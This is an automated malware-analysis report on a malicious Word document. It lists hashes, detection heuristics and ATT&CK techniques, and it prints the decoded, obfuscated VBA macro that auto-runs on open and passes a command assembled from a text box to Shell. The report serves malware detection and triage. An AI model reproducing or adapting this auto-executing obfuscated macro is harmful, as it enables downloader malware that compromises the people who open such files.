Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f57ba22706f8a5da…

MALICIOUS

Office (OLE)

88.8 KB Created: 2018-12-12 09:53:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 6a8b172dbd45c5b4373e682ce7215598 SHA-1: 9364339377f6545aba645ddebdba9b7c74b994b0 SHA-256: f57ba22706f8a5dafc5115a600e7b1a9068f457772efe83c76bc11baabddc5bd
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro is present and triggers the execution of obfuscated VBA code. Heuristics indicate the use of 'Shell()' calls and suspicious invocation of 'cmd.exe' and references to 'PowerShell', suggesting the script's intent is to download and execute a second-stage payload. The document body is heavily corrupted and unreadable, providing no further context.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6781596-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6781596-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(kPhQIR, UMHGpz), nZzrRPLf)
   Set jUJWqcPiLotChzcArFvDAw = zUpridIXoBshwnqA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
aZUQqzLKj
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7713 bytes
SHA-256: e5e0ec13c4be3b1904b46223e9d0d0e44484a2c5f950d6666edc6abd44b4fa6f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
212 of 245 identifiers look randomly generated (e.g. 'ZtEGzfqWadRbpXBZNSdwpDHR') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RFovfjkIjNiBV"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
aZUQqzLKj
End Sub

Attribute VB_Name = "UPwzAKLCjPDM"
Function aZUQqzLKj()
On Error Resume Next
   Set ErzrwQAKiorQFiwYBQSc = tBXFKuPESIMLtzjICYSmzAmr
      anwwRzrffLpcmoVlFPffFMfR = Sqr(wsAqwsOjJjGTFBKVf)
         nrjQjwBtlHMpOIij = 126617621 * Oct(rpjTbvcFPRAOVJZ) * 329696683 * aihIDoFGHUTVwoWhFdqhUQk - (266222934 + CLng(hjsXlCQQQDAlznAbMTbI) * 236135885 * CBool(110372845))
   djQjiRXKwtdWFMjVRDFh = ChrW(VwHqqFHwIfuQGOrVWhzts)
   Set ILQGOqnsofdjQBVzBuVjOsf = tKHCivIYzpGalpbP
      DvGjLiJVtzDJddQjDME = Sqr(kOtXEjbuuNMTGJLwYdhjw)
         lvEOTMqthdXfppBiicDO = 177912112 * Oct(nkDURTHafXlDczTpPODA) * 206010111 * waTWuqwFcjFFHULwuXmHz - (336775144 + CLng(mMEPoMoKaAEocBvYRbZvCzX) * 276655970 * CBool(337680087))
   QUjOXlzjjKqbKtnYfEDj = ChrW(zzwVfYDsopOPJwUiLcTqw)
   Set cbrRDYYmjGnBaQXTqbQWj = knjPTWLRRHSwWzs
      SMLrUcjCKfmcCaKiBV = Sqr(EinFCbSojictaaWIELpmHGh)
         ojiOrwkwAGoliHJ = 102491905 * Oct(nAThlLCjRGXLjj) * 323076361 * iRSsDzjzfsUlkd - (320440435 + CLng(ajTGNXCYjhZqNk) * 112726569 * CBool(149236867))
   lvqrWwqRVBtrQwnJVlAPqnL = ChrW(uMWYskvbztziGKDkd)
   Set YvwpfUQwVmPqmTYkrkmPh = KOFZDNBXrBksrlQRb
      PsRqPWrRmKaBKwBFkkjFRCu = Sqr(vNFubmUZJuzoBTzjhlbrzpql)
         lAfhVaMzTvBRzpzpBsQwMEQ = 245635667 * Oct(XfbDAFXTDplorn) * 128754249 * rhYzSkvcBvzamihkuhzvlu - (124095921 + CLng(iztANAJEwLUXrnimjzCEHw) * 218647821 * CBool(163030071))
   BuKpYCzOjTVrvOA = ChrW(sdbJJsGzKLlrNhhPUrLGzP)
   Set BqvSOJFsBTokLsSIGhH = jhHilNnczaAXPoPOFjX
      RMBZwstZTsdFfqoUiQjBWcub = Sqr(QVXdDDWKMHXfhfsTOJ)
         wvsYzvjoCWZoRZG = 224226913 * Oct(WwPpGuSjRoAlohHTpi) * 158987980 * wYiXOUomTFFbzVzSuPq - (3063464 + CLng(phGfDOoRVcuiJazOrbl) * 44229855 * CBool(209284159))
   LiZnSkpYZoXwHqbrL = ChrW(zVzdLsnuzECoEtu)
Const UMHGpz = 0
   Set qtQWdtshWCwzwcVlijaQ = oZOtusSBVEUAndSvsLUdbmPU
      XliCqwfXjBUBciBZfBw = Sqr(wKzDppXGnVCJuSXGkwfH)
         dHczuQdSDvlRrcMmiNAYYk = 71389669 * Oct(LGJLuphVqoUDWFvZuojZRsCq) * 72676235 * FliiPswdmnGSYNOPaD - (48940492 + CLng(PYRbikAkjSDTAak) * 311977201 * CBool(286367615))
   YbGtTHTcPWLCRzj = ChrW(EjTCEfsLwTjmRz)
   Set RvRndDsBColmjXVzBb = McmONovQmHLvNLmowjJwM
      DUSMJYrzttcTPvfhDwi = Sqr(FtqsYbziWOrfWkZRvBfXZn)
         STtwrIRfLOZWJdZn = 223000186 * Oct(IcfBzzfWNlCSLNSfYZf) * 205193748 * ZFijQwOPoVNzvQK - (226074044 + CLng(VvRVvfcsDLDiEAICV) * 231136294 * CBool(152141472))
   UjBQGZPpVPzHzHDjOjiZFoNk = ChrW(kkVEuahnlwouAOWQ)
   Set kHzIdPFiQjojzqDiJr = RNdUzZUwBOmUUzA
      crdwwLBwIHiZfXSElsfFHmA = Sqr(IRDPdPUmwzbmjsIFLfLpu)
         SdwijbRvjpqupjHmUtnscfwj = 159251280 * Oct(jZucbLoNzaTvjsUBQlvlCbw) * 167897701 * RBBSmhQJqssBHOfG - (185915584 + CLng(hTYNvYaPKkmpIbURJJmuM) * 295056269 * CBool(18492086))
   pzcAIXPiatQGmEFdsXWfXA = ChrW(QjpEWUhVoQmYvvaGnUHPO)
   Set UawWqhYjYtakXmLzDvEBIS = zNqKwbzizLdOkSPdYui
      ZlvJfhYfjfEfCzzIAXb = Sqr(bOcYuXbjnRjHdqC)
         ShiPCRvSHzMkVGdA = 123893892 * Oct(AKIXOHFsrSzzBLzjqSt) * 79589094 * JTKQzKrLhofoEq - (288528185 + CLng(vSWJKZcSKvBmlQL) * 48292614 * CBool(44304799))
   qqzGRwOjKiUIzUFdvz = ChrW(CsjqsGBJEZQcXhhzBH)
   Set miiCsqJUSjZZtHpjn = SKzztzMFrzOFQWUuHFIZHNa
      YafNTpMpOwzuSmljq = Sqr(wMFMTDEzzkbNjEjkaTSwmC)
         YrRZZcUUbjUPOIMHcIUpb = 93550218 * Oct(PsKhMROrAwahVB) * 195532865 * WiQzdPpVcOLpqSMJKqBj - (100480514 + CLng(ICNrTSnbrFwdzKKOWzDoFzG) * 165943483 * CBool(6542120))
   kQXizzPbWOmmvWiAXFqNU = ChrW(zvTCcapLvnqkiW)
   Set CkjwncSuAhWIijsdqqSBvhhH = IVWRKIbFSPuWVozYoPEZzvZ
      wBLTfEVCYFiHvcpZuDLQzHU = Sqr(VcHRdiuNwcTJwI)
         OuszQKqdLZfiujIwrjK = 329244991 * Oct(wDZqKRKTJjcmdz) * 144717623 * KErfzwrzDAdnfcd - (251752237 + CLng(WRrSHFtfJBtCsQmm) * 287176747 * CBool(217941483))
   TSDALbmJnXnhCqcGfim = ChrW(wzApuwvLjrBnuB)
   Set ZltiQYzYFKSKsVKmVhqofXr = JvadatjGzjBKbRV
      aMhEjlphhFzsRuPCtlZ = Sqr(wTzMiMMLUzKELOOSpn)
         XFtwVtooDRwQqrBdGOU = 171660466 * Oct(ZiMhvujDjwMGJCOFWc) * 124500001 * XJuVjTMKkHEVNHwbjPazHl - (151860788 + CLng(mKhpmYklBjwQjqwbiW) * 121707428 * CBool(162725879))
   qtBEmYHCTjlmajYmXYMXSUd = ChrW(hsqQwQkTwbvRjlzz)
kPhQIR = RFovfjkIjNiBV.TextBox1 + DhGEZAi + hRbKzU + BNVow + LSwvLoL + zoAzO + DWAEc + jwvTll + jXicd + PHbzZW + ssvHPAun + XtronG
   Set tPuLEiuNYKZBkijZLXiT = jNRUmVUqTcPDrPAX
      QpNLUqlWuPlHwDdaSNBdq = Sqr(JZWEhJzsOiBbGsFBL)
         fwsFjiWZldYCwutzjo = 270103165 * Oct(JbYBACFUwkVRBizsa) * 25852171 * ohIXUTMjHiIMRMvNEZqEjdB - (189020503 + CLng(HHAUwBXczAiADE) * 224997759 * CBool(267206660))
   wmnYEEGQtTkzKLffW = ChrW(LLPKhlkTLMNAUIQN)
   Set VJsTclmKqKmpTJAzKjLt = JmdmjMMqjFDfEYjLZVqwmp
      DEpAPMwQnOpLWOj = Sqr(YaTJFjKOkRokNUzDThaitMw)
         koQROMNwscRVTfAUtaPw = 158501655 * Oct(DSQlspowzMdpZQSs) * 339772020 * DrrkDbknhFoSzzGXlwA - (193283035 + CLng(XIucEriGjCAbrujUSO) * 271771786 * CBool(5909988))
   HiJjPjiBiTsWDj = ChrW(zIwjGhzCnrFDZDTkLcQQZ)
   Set XDcibfGRAhiAbjiSGwBwjqPl = GKAzDuPkCJziBVZwXmZ
      liOzXKksYPhnrJVUFRw = Sqr(SPZZioFaczLDqJnXwBbsJW)
         ncLmrAEsFqmIVJpQ = 233062329 * Oct(KQYDdzhWzYEpEdv) * 21420020 * wXBNZXHGNDBROGlsmzGojw - (91201693 + CLng(VCjoPlIMSXsthsk) * 296872934 * CBool(114617125))
   QtjFjRTzSipPCwJwsWrSqcuo = ChrW(qOrKtONWliTYPTPVSSiWDVuj)
   Set tFtPGjimGtAbLzwmLzGii = RMqCqofQBObLuKQvFcoZWzT
      bTpqVLOXzzojZE = Sqr(uGprmzzEoWPsdtJWRtlbXw)
         upzELuVkVAnuThHjEbOBUG = 127299895 * Oct(iqdWnodSvQuBmvnKSmtrq) * 336176162 * pJMjzIzVoWPaVRwwhXVwCm - (39160787 + CLng(JnEiiNbtfAnNaHdJzuGfWUS) * 292161544 * CBool(134034804))
   LUVAnDDRXLEPnauVuVilWa = ChrW(LBHfaYoVMNsCHYiNjJIkSEh)
   Set jiMjOBcMfMHwDJpTG = tzCiiXnWTRuXUGH
      kZiwwozuoostTFiiXVXhL = Sqr(EosriKSHrApUZQ)
         KGEzIqqiuDOiPzziZXiUt = 22547484 * Oct(GobhwsDzfStNOTh) * 17310242 * NJwoUcDHsRPwqvrH - (336240263 + CLng(LhIumqDiPWmkPsVXGkESmLYZ) * 25264862 * CBool(181304808))
   DoWCGPUWVCTXIllMhVHBXb = ChrW(oHCjMzJjqKCAutUjUu)
   Set wCVWIMDETFtaaNisNpwIQhb = zHnqlpJDWSwwbJGNZCFN
      ZtEGzfqWadRbpXBZNSdwpDHR = Sqr(QDjkjNcOhZNjjmJShwpf)
         lmEoLjbQHWlnaibHlq = 100050107 * Oct(NIzoqijUiIHSlJfRiwYiBz) * 171453134 * bvIDhKvFaqKdoQ - (330120037 + CLng(DGmzOTBRDKdpSlnPiuNu) * 144238780 * CBool(194130406))
   TMCruzBdNwrauLaoHurzXh = ChrW(mpDuvtDDKZUSmMc)
   Set nDJzqvJfiNITOAYjAziwVumj = TNRInNBUCnusvPECVnSl
      YXAfYiDpisQZWXirX = Sqr(AHwLNinFiduzGUwLupRdPi)
         fYudTYsWKwzSdSMJWrTwZuil = 319840945 * Oct(LcsatbRJSnSAUjqHkBJ) * 13138562 * sijulvmZluIjsNPdkE - (146073773 + CLng(UzZrVXmGRJccuG) * 121227671 * CBool(306744568))
   fIffjhtJUbTadAwn = ChrW(AtIoZOJfIbRjmm)
CjPqbK = Array(DHGFAiiOm, PCrEG, KujBZtoc, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(kPhQIR, UMHGpz), nZzrRPLf)
   Set jUJWqcPiLotChzcArFvDAw = zUpridIXoBshwnqA
      qlBTlDqMZtUNTSpiJJ = Sqr(BkkFDQEBpSiNBF)
         MPwrNRziFknKUiCzodo = 336591332 * Oct(FfzChBAuufTIuFalSwkBGf) * 136922845 * GkTmTqjNFnGjzojPw - (238942678 + CLng(EUBZccOVjDzfaLhv) * 321494752 * CBool(226568003))
   bEwGCHwqldQVDVUQv = ChrW(KqJEUCJIHjYRsjh)
   Set ccmbOzadjCzpimVORE = KTIGjuZzrmDjtiitH
      UfDspnikzpattQC = Sqr(CDUVDhozjrcTDLvsNHz)
         NSiUYzwkWzsnjSbiZmD = 259128199 * Oct(DJzKOjmthjmSdNkZzwDkEc) * 248054005 * pmljRTaDKiKIjKJSKqpRGUCE - (285439819 + CLng(apzDlaXzVbuCcOF) * 225749317 * CBool(54767737))
   DcspnlZNnUsUkhsLslDHzjk = ChrW(oiYHOaLYMIBPMlCOdXnDG)
End Function

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